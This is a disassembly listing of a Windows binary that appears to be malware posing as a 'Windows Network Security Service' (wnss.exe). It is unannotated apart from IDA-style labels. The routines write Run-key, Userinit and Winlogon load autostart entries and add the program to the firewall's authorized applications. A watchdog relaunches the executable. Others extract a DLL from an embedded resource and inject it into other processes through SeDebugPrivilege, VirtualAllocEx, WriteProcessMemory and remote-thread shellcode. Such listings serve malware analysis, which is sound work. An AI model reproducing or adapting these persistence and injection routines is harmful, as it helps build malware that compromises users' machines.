loc_447A1F: ; CODE XREF: sub_4479BB+5Bj
cmp [ebp+var_2000], 0
jz short loc_447A44
lea esi, [ebp+var_2000]
jmp short loc_447A31
; ---------------------------------------------------------------------------
loc_447A30: ; CODE XREF: sub_4479BB+79j
inc esi
loc_447A31: ; CODE XREF: sub_4479BB+73j
cmp byte ptr [esi], 0
jnz short loc_447A30
dec esi
cmp byte ptr [esi], 2Ch
jz short loc_447A44
inc esi
mov byte ptr [esi], 2Ch
inc esi
mov byte ptr [esi], 0
loc_447A44: ; CODE XREF: sub_4479BB+6Bj
; sub_4479BB+7Fj
push dword_4128A4
lea eax, [ebp+var_2000]
push eax
call sub_449A71
pop ecx
pop ecx
test ebx, ebx
jnz short loc_447A6F
push offset asc_40E73C ; ","
lea eax, [ebp+var_2000]
push eax
call sub_449A71
pop ecx
pop ecx
loc_447A6F: ; CODE XREF: sub_4479BB+9Fj
lea eax, [ebp+var_2000]
push eax
push offset aUserinit ; "Userinit"
push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
push 80000002h
call sub_447718
add esp, 10h
loc_447A8D: ; CODE XREF: sub_4479BB+2Ej
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4479BB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_447A93 proc near ; CODE XREF: sub_447B54+82p
var_2000 = byte ptr -2000h
push ebp
mov ebp, esp
mov eax, 2000h
call sub_449B11
push ebx
push esi
push dword_4128A4
push offset aLoad ; "load"
push offset aSoftwareMicr_1 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
push 80000002h
call sub_447876
add esp, 10h
test eax, eax
jnz loc_447B4E
push 2000h
lea eax, [ebp+var_2000]
push eax
push offset aLoad ; "load"
push offset aSoftwareMicr_1 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
push 80000002h
call sub_4477BF
add esp, 14h
mov ebx, eax
test ebx, ebx
jnz short loc_447AF7
mov [ebp+var_2000], 0
loc_447AF7: ; CODE XREF: sub_447A93+5Bj
cmp [ebp+var_2000], 0
jz short loc_447B1C
lea esi, [ebp+var_2000]
jmp short loc_447B09
; ---------------------------------------------------------------------------
loc_447B08: ; CODE XREF: sub_447A93+79j
inc esi
loc_447B09: ; CODE XREF: sub_447A93+73j
cmp byte ptr [esi], 0
jnz short loc_447B08
dec esi
cmp byte ptr [esi], 2Ch
jz short loc_447B1C
inc esi
mov byte ptr [esi], 2Ch
inc esi
mov byte ptr [esi], 0
loc_447B1C: ; CODE XREF: sub_447A93+6Bj
; sub_447A93+7Fj
push dword_4128A4
lea eax, [ebp+var_2000]
push eax
call sub_449A71
pop ecx
pop ecx
lea eax, [ebp+var_2000]
push eax
push offset aLoad ; "load"
push offset aSoftwareMicr_1 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
push 80000002h
call sub_447718
add esp, 10h
loc_447B4E: ; CODE XREF: sub_447A93+2Ej
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_447A93 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_447B54 proc near ; CODE XREF: sub_448AD1+557p
var_2000 = byte ptr -2000h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 2000h
call sub_449B11
push 1
push offset asc_40E700 ; "*"
push [ebp+arg_0]
lea eax, [ebp+var_2000]
push eax
call sub_4478C8
add esp, 10h
push offset aWritingToHklmA ; "writing to HKLM/autorun key...\n"
call nullsub_4
pop ecx
lea eax, [ebp+var_2000]
push eax
push offset aWindowsNetwork ; "Windows Network Security Service"
push offset aSoftwareMicr_2 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
push 80000002h
call sub_447718
add esp, 10h
push offset aWritingToHkcuA ; "writing to HKCU/autorun key...\n"
call nullsub_4
pop ecx
lea eax, [ebp+var_2000]
push eax
push offset aWindowsNetwork ; "Windows Network Security Service"
push offset aSoftwareMicr_2 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
push 80000001h
call sub_447718
add esp, 10h
call sub_447925
call sub_4479BB
call sub_447A93
mov esp, ebp
pop ebp
retn
sub_447B54 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_447BDF proc near ; CODE XREF: sub_448AD1+236p
var_2000 = byte ptr -2000h
push ebp
mov ebp, esp
mov eax, 2000h
call sub_449B11
mov [ebp+var_2000], 0
push dword_4128A4
lea eax, [ebp+var_2000]
push eax
call sub_449A71
pop ecx
pop ecx
push offset aEnabled ; ":*:Enabled:"
lea eax, [ebp+var_2000]
push eax
call sub_449A71
pop ecx
pop ecx
push offset aWindowsNetwork ; "Windows Network Security Service"
lea eax, [ebp+var_2000]
push eax
call sub_449A71
pop ecx
pop ecx
lea eax, [ebp+var_2000]
push eax
push dword_4128A4
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"...
push 80000002h
call sub_447718
add esp, 10h
mov esp, ebp
pop ebp
retn
sub_447BDF endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_447C50 proc near ; CODE XREF: DMN1:00447E6Ep
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
push 14h
push 40h
call dword_411CE0
mov [ebp+var_10], eax
push 1
push [ebp+var_10]
call dword_411E38
push 0
push 0
push 1
push [ebp+var_10]
call dword_411E3C
mov [ebp+var_C], 0Ch
mov eax, [ebp+var_10]
mov [ebp+var_8], eax
mov [ebp+var_4], 1
push offset a8fc4ddd4C51e11 ; "{8FC4DDD4-C51E-11DC-98A8-E49F55D89593}"
push 0
push 0
lea eax, [ebp+var_C]
push eax
call dword_411D40
mov ebx, eax
test ebx, ebx
jz short loc_447CBA
push offset aEventCreated_ ; "EVENT CREATED.\n"
call sub_449641
pop ecx
jmp short loc_447CCD
; ---------------------------------------------------------------------------
loc_447CBA: ; CODE XREF: sub_447C50+5Bj
call dword_411CE8
push eax
push offset aEventCreatonEr ; "EVENT CREATON ERROR: %i\n"
call sub_449641
pop ecx
pop ecx
loc_447CCD: ; CODE XREF: sub_447C50+68j
push 0
push 0
push offset sub_405CA2
call sub_449CF1
add esp, 0Ch
push eax
call dword_411CF8
push 0
push 0
push offset sub_406736
call sub_449CF1
add esp, 0Ch
mov esi, eax
loc_447CF8: ; CODE XREF: sub_447C50:loc_447D47j
test ebx, ebx
jz short loc_447D32
push offset aWaitingForStop ; "WAITING FOR STOP EVENT!\n"
call sub_449641
pop ecx
mov [ebp+var_18], esi
mov [ebp+var_14], ebx
push 0FFFFFFFFh
push 0
lea eax, [ebp+var_18]
push eax
push 2
call dword_411D48
mov edi, eax
test edi, edi
jz short loc_447D28
cmp edi, 1
jnz short loc_447D47
loc_447D28: ; CODE XREF: sub_447C50+D1j
push 1
call sub_449DC1
pop ecx
jmp short loc_447D47
; ---------------------------------------------------------------------------
loc_447D32: ; CODE XREF: sub_447C50+AAj
push 0FFFFFFFFh
push esi
call dword_411D34
test eax, eax
jnz short loc_447D47
push 1
call sub_449DC1
pop ecx
loc_447D47: ; CODE XREF: sub_447C50+D6j
; sub_447C50+E0j ...
jmp short loc_447CF8
sub_447C50 endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
mov eax, [esp+4]
cmp eax, 3
jz short loc_447D65
cmp eax, 4
jz short loc_447D82
cmp eax, 5
jz short loc_447D95
jmp short locret_447DB8
; ---------------------------------------------------------------------------
loc_447D65: ; CODE XREF: DMN1:00447D57j
mov dword_41293C, 4
push offset dword_412938
push dword_412954
call dword_411E6C
jmp short locret_447DB8
; ---------------------------------------------------------------------------
loc_447D82: ; CODE XREF: DMN1:00447D5Cj
push offset dword_412938
push dword_412954
call dword_411E6C
jmp short locret_447DB8
; ---------------------------------------------------------------------------
loc_447D95: ; CODE XREF: DMN1:00447D61j
mov dword_41293C, 1
push offset dword_412938
push dword_412954
call dword_411E6C
push 1
call sub_449DC1
pop ecx
locret_447DB8: ; CODE XREF: DMN1:00447D63j
; DMN1:00447D80j ...
retn 4
; ---------------------------------------------------------------------------
push offset aServicectrldis ; "ServiceCtrlDispatcher()\n"
call sub_449641
pop ecx
push offset loc_405A2F
push off_412958
call dword_411E70
mov dword_412954, eax
cmp dword_412954, 0
jz loc_447E9B
push 1
push offset dword_411044
call dword_411D04
push 1Ch
push 0
push offset dword_412938
call sub_4499B1
add esp, 0Ch
mov dword_412938, 110h
mov dword_41293C, 2
and dword_412940, 0
mov dword_412950, 9C4h
push offset aSetservicestat ; "SetServiceStatus(): start pending\n"
call sub_449641
pop ecx
push offset dword_412938
push dword_412954
call dword_411E6C
mov dword_41293C, 4
push offset aSetservicest_0 ; "SetServiceStatus(): running\n"
call sub_449641
pop ecx
push offset dword_412938
push dword_412954
call dword_411E6C
call sub_447C50
; ---------------------------------------------------------------------------
mov dword_41293C, 1
push offset aSetservicest_1 ; "SetServiceStatus(): stopped\n"
call sub_449641
pop ecx
push offset dword_412938
push dword_412954
call dword_411E6C
jmp short locret_447EA6
; ---------------------------------------------------------------------------
loc_447E9B: ; CODE XREF: DMN1:00447DE3j
push offset aRegisterservic ; "RegisterServiceCtrlHandler() failed %-("...
call sub_449641
pop ecx
locret_447EA6: ; CODE XREF: DMN1:00447E99j
retn 8
; =============== S U B R O U T I N E =======================================
sub_447EA9 proc near ; CODE XREF: DMN1:00447EEFp
; sub_448AD1+532p
push ebx
call sub_44642F
test eax, eax
jz short loc_447EB7
xor eax, eax
jmp short loc_447EED
; ---------------------------------------------------------------------------
loc_447EB7: ; CODE XREF: sub_447EA9+8j
mov eax, off_412958
mov dword_41295C, eax
mov dword_412960, offset loc_405A9A
and dword_412964, 0
and dword_412968, 0
push offset dword_41295C
call dword_411E74
mov ebx, eax
call sub_446483
mov eax, ebx
loc_447EED: ; CODE XREF: sub_447EA9+Cj
pop ebx
retn
sub_447EA9 endp
; ---------------------------------------------------------------------------
call sub_447EA9
call sub_449D81
retn
; ---------------------------------------------------------------------------
call sub_447236
mov dword_411040, eax
call sub_449D81
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_447F0A proc near ; CODE XREF: DMN1:00448027p
; sub_448AD1+1F7p
var_854 = dword ptr -854h
var_850 = dword ptr -850h
var_844 = byte ptr -844h
var_44 = dword ptr -44h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 854h
push 44h
push 0
lea eax, [ebp+var_44]
push eax
call sub_4499B1
add esp, 0Ch
mov [ebp+var_44], 44h
push offset asc_40EDE8 ; "\""
lea eax, [ebp+var_844]
push eax
call sub_449A51
pop ecx
pop ecx
push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
lea eax, [ebp+var_844]
push eax
call sub_449A71
pop ecx
pop ecx
push offset asc_40E5AE ; "\" "
lea eax, [ebp+var_844]
push eax
call sub_449A71
pop ecx
pop ecx
cmp [ebp+arg_0], 0
jz short loc_447F7A
push [ebp+arg_0]
lea eax, [ebp+var_844]
push eax
call sub_449A71
pop ecx
pop ecx
loc_447F7A: ; CODE XREF: sub_447F0A+5Dj
lea eax, [ebp+var_854]
push eax
lea eax, [ebp+var_44]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp+var_844]
push eax
push 0
call dword_411D10
test eax, eax
jz short loc_447FBF
push [ebp+var_850]
call dword_411CF8
push [ebp+var_854]
call dword_411CF8
xor eax, eax
inc eax
loc_447FBF: ; CODE XREF: sub_447F0A+98j
mov esp, ebp
pop ebp
retn
sub_447F0A endp
; ---------------------------------------------------------------------------
push ebx
push esi
push offset aServicefixerth ; "ServiceFixerThread started.\n"
call nullsub_4
pop ecx
loc_447FD0: ; CODE XREF: DMN1:loc_448058j
xor ebx, ebx
push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
call dword_411D4C
cmp eax, 0FFFFFFFFh
jz short loc_44804D
call sub_447098
test eax, eax
jz short loc_44800C
call sub_447491
test eax, eax
jnz short loc_447FFB
call sub_447567
loc_447FFB: ; CODE XREF: DMN1:00447FF4j
call sub_4471E8
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_448019
xor ebx, ebx
inc ebx
jmp short loc_448019
; ---------------------------------------------------------------------------
loc_44800C: ; CODE XREF: DMN1:00447FEBj
call sub_44730A
cmp eax, 0FFFFFFFFh
jnz short loc_448019
xor ebx, ebx
inc ebx
loc_448019: ; CODE XREF: DMN1:00448005j
; DMN1:0044800Aj ...
test ebx, ebx
jz short loc_448040
call sub_446483
push offset asc_40E58E ; "**"
call sub_447F0A
pop ecx
test eax, eax
jz short loc_448039
push 0
call sub_449DC1
pop ecx
loc_448039: ; CODE XREF: DMN1:0044802Fj
call sub_44642F
jmp short loc_448058
; ---------------------------------------------------------------------------
loc_448040: ; CODE XREF: DMN1:0044801Bj
push 1F4h
call dword_411D00
jmp short loc_448058
; ---------------------------------------------------------------------------
loc_44804D: ; CODE XREF: DMN1:00447FE2j
push 2710h
call dword_411D00
loc_448058: ; CODE XREF: DMN1:0044803Ej
; DMN1:0044804Bj
jmp loc_447FD0
; ---------------------------------------------------------------------------
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push eax
push ebx
push esi
mov eax, [ebp+8]
mov esi, eax
push dword_41296C
call dword_411D50
loc_448077: ; CODE XREF: DMN1:004480ABj
mov byte ptr [ebp-1], 0
push 1
lea eax, [ebp-1]
push eax
push esi
call sub_4439FD
add esp, 0Ch
mov ebx, eax
test ebx, ebx
jle short loc_4480AD
cmp byte ptr [ebp-1], 2Ah
jnz short loc_4480AD
push 1
lea eax, [ebp-1]
push eax
push esi
call sub_443AA8
add esp, 0Ch
mov ebx, eax
test ebx, ebx
jle short loc_4480AD
jmp short loc_448077
; ---------------------------------------------------------------------------
loc_4480AD: ; CODE XREF: DMN1:0044808Ej
; DMN1:00448094j ...
push esi
call sub_4437E3
pop ecx
push offset aDlltestthreadP ; "DLLTestThread: pulsing...\n"
call nullsub_4
pop ecx
push dword_41296C
call dword_411D44
call sub_449D81
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 8
call sub_44367A
mov dword_41104C, eax
push offset aDlltestlistent ; "DLLTestListenThread: binding...\n"
call nullsub_4
pop ecx
push 0BB8h
push 100007Fh
push dword_41104C
call sub_4438D8
add esp, 0Ch
test eax, eax
jz short loc_448176
push offset aDlltestliste_0 ; "DLLTestListenThread: listening...\n"
call nullsub_4
pop ecx
push dword_41104C
call sub_443928
pop ecx
test eax, eax
jz short loc_448176
push offset aDlltestliste_1 ; "DLLTestListenThread: accepting...\n"
call nullsub_4
pop ecx
push dword_41104C
call sub_443942
pop ecx
mov [ebp-4], eax
test eax, eax
jz short loc_448176
mov eax, [ebp-4]
push eax
push 0
push offset sub_405D3F
call sub_449CF1
add esp, 0Ch
mov [ebp-8], eax
push eax
call dword_411CF8
push dword_41104C
call sub_4437E3
pop ecx
and dword_41104C, 0
loc_448176: ; CODE XREF: DMN1:0044810Bj
; DMN1:00448126j ...
cmp dword_41104C, 0
jz short loc_44818B
push dword_41104C
call sub_4437E3
pop ecx
loc_44818B: ; CODE XREF: DMN1:0044817Dj
push offset aDlltestliste_2 ; "DLLTestListenThread: done...\n"
call nullsub_4
pop ecx
call sub_449D81
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
sub_44819F proc near ; CODE XREF: sub_44875D+14p
arg_0 = dword ptr 4
push ebx
push esi
mov ebx, [esp+8+arg_0]
mov esi, [ebx]
jmp short loc_4481B1
; ---------------------------------------------------------------------------
loc_4481A9: ; CODE XREF: sub_44819F+14j
call dword_411CC4
mov esi, eax
loc_4481B1: ; CODE XREF: sub_44819F+8j
test esi, esi
jz short loc_4481A9
mov eax, esi
mov edx, 41C64E6Dh
mul edx
lea esi, [eax+3039h]
mov [ebx], esi
mov eax, esi
shr eax, 10h
and eax, 7FFFh
pop esi
pop ebx
retn
sub_44819F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4481D3 proc near ; CODE XREF: sub_4482DE+9Ep
; sub_4482DE+109p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
cmp dword_411054, 0
jz short loc_4481FB
push dword_411054
call dword_411CF8
and dword_411054, 0
loc_4481FB: ; CODE XREF: sub_4481D3+13j
push 0Ah
push offset a8001 ; "#8001"
push 0
call dword_411D54
mov esi, eax
test eax, eax
jz loc_4482D7
push esi
push 0
call dword_411D58
mov [ebp+var_4], eax
push [ebp+var_4]
push offset aResourceHereSi ; "resource here, size: %i\n"
call nullsub_4
pop ecx
pop ecx
push esi
push 0
call dword_411D5C
mov [ebp+var_8], eax
test eax, eax
jz loc_4482D7
push [ebp+var_8]
call dword_411D60
mov [ebp+var_C], eax
test eax, eax
jz loc_4482D7
push 80h
push ebx
call dword_411D28
push offset aWb ; "wb+"
push ebx
call sub_4496E1
pop ecx
pop ecx
mov edi, eax
test edi, edi
jnz short loc_448287
push ebx
push offset aFileSNotCreate ; "file <%s> NOT created\n"
call nullsub_4
pop ecx
pop ecx
xor eax, eax
jmp short loc_4482D7
; ---------------------------------------------------------------------------
loc_448287: ; CODE XREF: sub_4481D3+A1j
push ebx
push offset aFileSCreated ; "file <%s> created\n"
call nullsub_4
pop ecx
pop ecx
push edi
push 1
mov eax, [ebp+var_4]
push eax
push [ebp+var_C]
call sub_449B41
add esp, 10h
mov [ebp+var_10], eax
push edi
call sub_449941
pop ecx
push [ebp+var_10]
push ebx
push offset aFileSWrittenWs ; "file <%s> written, wsz=%i\n"
call nullsub_4
add esp, 0Ch
push 7
push ebx
call dword_411D28
cmp [ebp+var_10], 1
jz short loc_4482D4
xor eax, eax
jmp short loc_4482D7
; ---------------------------------------------------------------------------
loc_4482D4: ; CODE XREF: sub_4481D3+FBj
xor eax, eax
inc eax
loc_4482D7: ; CODE XREF: sub_4481D3+3Bj
; sub_4481D3+6Aj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4481D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4482DE proc near ; CODE XREF: DMN1:loc_448931p
var_1004 = dword ptr -1004h
var_1000 = byte ptr -1000h
push ebp
mov ebp, esp
mov eax, 1004h
call sub_449B11
cmp dword_411050, 0
jz short loc_448334
push offset aR ; "r"
push offset dword_412970
call sub_4496E1
pop ecx
pop ecx
mov [ebp+var_1004], eax
test eax, eax
jz short loc_448334
push offset dword_412970
push offset aOldDllS ; "old DLL: <%s>\n"
call nullsub_4
pop ecx
pop ecx
push [ebp+var_1004]
call sub_449941
pop ecx
xor eax, eax
inc eax
jmp loc_44841E
; ---------------------------------------------------------------------------
loc_448334: ; CODE XREF: sub_4482DE+14j
; sub_4482DE+2Fj
push offset dword_412970
push 0FFFh
call dword_411D1C
push offset aWnss_ ; "wnss_"
push offset dword_412970
call sub_449A71
pop ecx
pop ecx
push offset a000_tmp ; "000.tmp"
push offset dword_412970
call sub_449A71
pop ecx
pop ecx
push offset dword_412970
push offset aCheckingDllS ; "checking DLL: <%s>\n"
call nullsub_4
pop ecx
pop ecx
push offset dword_412970
call sub_4481D3
pop ecx
test eax, eax
jz short loc_4483A6
push offset dword_412970
push offset aDllFoundS ; " DLL found: <%s>\n"
call nullsub_4
pop ecx
pop ecx
mov dword_411050, 1
xor eax, eax
inc eax
jmp short loc_44841E
; ---------------------------------------------------------------------------
loc_4483A6: ; CODE XREF: sub_4482DE+A6j
lea eax, [ebp+var_1000]
push eax
push 0FFFh
call dword_411D1C
push offset dword_412970
push 0
push offset aWnss_ ; "wnss_"
lea eax, [ebp+var_1000]
push eax
call dword_411D20
push offset dword_412970
push offset aTryingDllS ; "trying DLL: <%s>\n"
call nullsub_4
pop ecx
pop ecx
push offset dword_412970
call sub_4481D3
pop ecx
test eax, eax
jz short loc_448411
push offset dword_412970
push offset aDllOkS ; "DLL ok: <%s>\n"
call nullsub_4
pop ecx
pop ecx
mov dword_411050, 1
xor eax, eax
inc eax
jmp short loc_44841E
; ---------------------------------------------------------------------------
loc_448411: ; CODE XREF: sub_4482DE+111j
push offset aDllNotExtracte ; "DLL not extracted.\n"
call nullsub_4
pop ecx
xor eax, eax
loc_44841E: ; CODE XREF: sub_4482DE+51j
; sub_4482DE+C6j ...
mov esp, ebp
pop ebp
retn
sub_4482DE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_448422 proc near ; CODE XREF: sub_4485C6+6p
; sub_44868E+12p ...
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 20h
lea eax, [ebp+var_1C]
push eax
push offset aSedebugprivile ; "SeDebugPrivilege"
push 0
call dword_411E78
test eax, eax
jz short loc_448498
call dword_411D64
lea edx, [ebp+var_14]
push edx
push 28h
push eax
call dword_411E7C
test eax, eax
jz short loc_448498
mov [ebp+var_10], 1
mov eax, [ebp+var_1C]
mov edx, [ebp+var_18]
mov [ebp+var_C], eax
mov [ebp+var_8], edx
mov [ebp+var_4], 2
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_10]
push eax
push 10h
lea eax, [ebp+var_10]
push eax
push 0
push [ebp+var_14]
call dword_411E80
call dword_411CE8
test eax, eax
jz short loc_448495
xor eax, eax
jmp short loc_448498
; ---------------------------------------------------------------------------
loc_448495: ; CODE XREF: sub_448422+6Dj
xor eax, eax
inc eax
loc_448498: ; CODE XREF: sub_448422+19j
; sub_448422+30j ...
mov esp, ebp
pop ebp
retn
sub_448422 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44849C proc near ; CODE XREF: sub_4485C6+34p
var_1008 = byte ptr -1008h
var_1004 = byte ptr -1004h
var_1000 = byte ptr -1000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1008h
call sub_449B11
push ebx
push esi
push edi
push 40h
push 1000h
push 1000h
push 0
push [ebp+arg_0]
call dword_411D68
mov esi, eax
test eax, eax
jz loc_4485BF
push offset aVirtualallocex ; "VirtualAllocEx() ok\n"
call nullsub_4
pop ecx
lea ebx, [ebp+var_1000]
mov byte ptr [ebx], 68h
inc ebx
mov eax, esi
add eax, 50h
mov [ebx], eax
add ebx, 4
mov word ptr [ebx], 15FFh
add ebx, 2
mov eax, esi
add eax, 40h
mov [ebx], eax
add ebx, 4
mov byte ptr [ebx], 50h
inc ebx
mov word ptr [ebx], 15FFh
add ebx, 2
mov eax, esi
add eax, 44h
mov [ebx], eax
push offset aKernel32_dll ; "kernel32.dll"
call dword_411D6C
mov edi, eax
lea ebx, [ebp+var_1000]
add ebx, 40h
push offset aLoadlibrarya ; "LoadLibraryA"
push edi
call dword_411D70
mov [ebx], eax
add ebx, 4
push offset aExitthread ; "ExitThread"
push edi
call dword_411D70
mov [ebx], eax
add ebx, 4
push offset aGetlasterror ; "GetLastError"
push edi
call dword_411D70
mov [ebx], eax
lea ebx, [ebp+var_1000]
add ebx, 50h
push [ebp+arg_4]
push ebx
call sub_449A51
pop ecx
pop ecx
lea eax, [ebp+var_1004]
push eax
push 1000h
lea eax, [ebp+var_1000]
push eax
push esi
push [ebp+arg_0]
call dword_411D74
test eax, eax
jz short loc_4485BF
push offset aWriteprocessme ; "WriteProcessMemory() ok\n"
call nullsub_4
pop ecx
push [ebp+arg_4]
push offset aS ; "<%s>\n"
call nullsub_4
pop ecx
pop ecx
lea eax, [ebp+var_1008]
push eax
push 0
push 0
push esi
push 0
push 0
push [ebp+arg_0]
call dword_411D78
loc_4485BF: ; CODE XREF: sub_44849C+2Bj
; sub_44849C+EEj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44849C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4485C6 proc near ; CODE XREF: sub_44868E+6Fp
; sub_44875D+5Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push eax
push ebx
push esi
call sub_448422
push [ebp+arg_0]
push 0
push 1F0FFFh
call dword_411D7C
mov ebx, eax
push offset aProcessOpened_ ; "process opened.\n"
call nullsub_4
pop ecx
test ebx, ebx
jz loc_448686
push [ebp+arg_4]
push ebx
call sub_44849C
pop ecx
pop ecx
mov esi, eax
test esi, esi
jz short loc_44867F
push esi
push offset aThreadInjected ; "thread injected (%i).\n"
call nullsub_4
pop ecx
pop ecx
push 0FFFFFFFFh
push esi
call dword_411D34
lea eax, [ebp+var_4]
push eax
push esi
call dword_411D80
push [ebp+var_4]
push offset aThreadComplete ; "thread complete (%i).\n"
call nullsub_4
pop ecx
pop ecx
push esi
call dword_411CF8
push ebx
call dword_411CF8
cmp [ebp+var_4], 20h
jnb short loc_44864F
xor eax, eax
jmp short loc_448688
; ---------------------------------------------------------------------------
loc_44864F: ; CODE XREF: sub_4485C6+83j
push [ebp+arg_4]
push offset aDllInjected ; "DLL injected!\n"
call nullsub_4
pop ecx
pop ecx
cmp dword_411054, 0
jz short loc_44867A
push dword_411054
call dword_411CF8
and dword_411054, 0
loc_44867A: ; CODE XREF: sub_4485C6+9Fj
xor eax, eax
inc eax
jmp short loc_448688
; ---------------------------------------------------------------------------
loc_44867F: ; CODE XREF: sub_4485C6+3Fj
push ebx
call dword_411CF8
loc_448686: ; CODE XREF: sub_4485C6+2Aj
xor eax, eax
loc_448688: ; CODE XREF: sub_4485C6+87j
; sub_4485C6+B7j
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4485C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44868E proc near ; CODE XREF: DMN1:0044894Bp
var_128 = dword ptr -128h
var_120 = dword ptr -120h
var_104 = byte ptr -104h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 128h
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_4]
call sub_448422
push 0
push 2
call sub_44907D
mov edi, eax
test eax, eax
jz loc_448756
mov [ebp+var_128], 128h
lea eax, [ebp+var_128]
push eax
push edi
call sub_449083
loc_4486CF: ; CODE XREF: sub_44868E+BDj
lea eax, [ebp+var_104]
push eax
push ebx
call dword_411D38
test eax, eax
jnz short loc_44873C
push esi
lea eax, [ebp+var_104]
push eax
push offset aTryingSWithS ; "trying <%s> with <%s>\n"
call nullsub_4
add esp, 0Ch
push esi
push [ebp+var_120]
call sub_4485C6
pop ecx
pop ecx
test eax, eax
jz short loc_448727
lea eax, [ebp+var_104]
push eax
push offset aS ; "<%s>\n"
call nullsub_4
pop ecx
pop ecx
push edi
call dword_411CF8
xor eax, eax
inc eax
jmp short loc_448756
; ---------------------------------------------------------------------------
loc_448727: ; CODE XREF: sub_44868E+78j
push esi
lea eax, [ebp+var_104]
push eax
push offset aTryingSWithSFa ; "trying <%s> with <%s> failed\n"
call nullsub_4
add esp, 0Ch
loc_44873C: ; CODE XREF: sub_44868E+51j
lea eax, [ebp+var_128]
push eax
push edi
call sub_449089
test eax, eax
jnz short loc_4486CF
push edi
call dword_411CF8
xor eax, eax
loc_448756: ; CODE XREF: sub_44868E+24j
; sub_44868E+97j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44868E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44875D proc near ; CODE XREF: DMN1:00448960p
var_128 = dword ptr -128h
var_120 = dword ptr -120h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 128h
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
push offset dword_411058
call sub_44819F
pop ecx
mov ecx, 100h
cdq
idiv ecx
lea esi, [edx+1]
call sub_448422
jmp short loc_4487F5
; ---------------------------------------------------------------------------
loc_448789: ; CODE XREF: sub_44875D+9Aj
push 0
push 2
call sub_44907D
mov edi, eax
test eax, eax
jz short loc_4487FB
mov [ebp+var_128], 128h
lea eax, [ebp+var_128]
push eax
push edi
call sub_449083
loc_4487AF: ; CODE XREF: sub_44875D+8Fj
dec esi
test esi, esi
jnz short loc_4487DD
push ebx
push [ebp+var_120]
call sub_4485C6
pop ecx
pop ecx
test eax, eax
jz short loc_4487D2
push edi
call dword_411CF8
xor eax, eax
inc eax
jmp short loc_4487FB
; ---------------------------------------------------------------------------
loc_4487D2: ; CODE XREF: sub_44875D+67j
push edi
call dword_411CF8
xor eax, eax
jmp short loc_4487FB
; ---------------------------------------------------------------------------
loc_4487DD: ; CODE XREF: sub_44875D+55j
lea eax, [ebp+var_128]
push eax
push edi
call sub_449089
test eax, eax
jnz short loc_4487AF
push edi
call dword_411CF8
loc_4487F5: ; CODE XREF: sub_44875D+2Aj
test esi, esi
jnz short loc_448789
xor eax, eax
loc_4487FB: ; CODE XREF: sub_44875D+39j
; sub_44875D+73j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44875D endp
; =============== S U B R O U T I N E =======================================
sub_448802 proc near ; CODE XREF: DMN1:004488AAp
; DMN1:0044897Ap
push ebx
push dword_41296C
call dword_411D50
push 0
push 0
push offset sub_405DB5
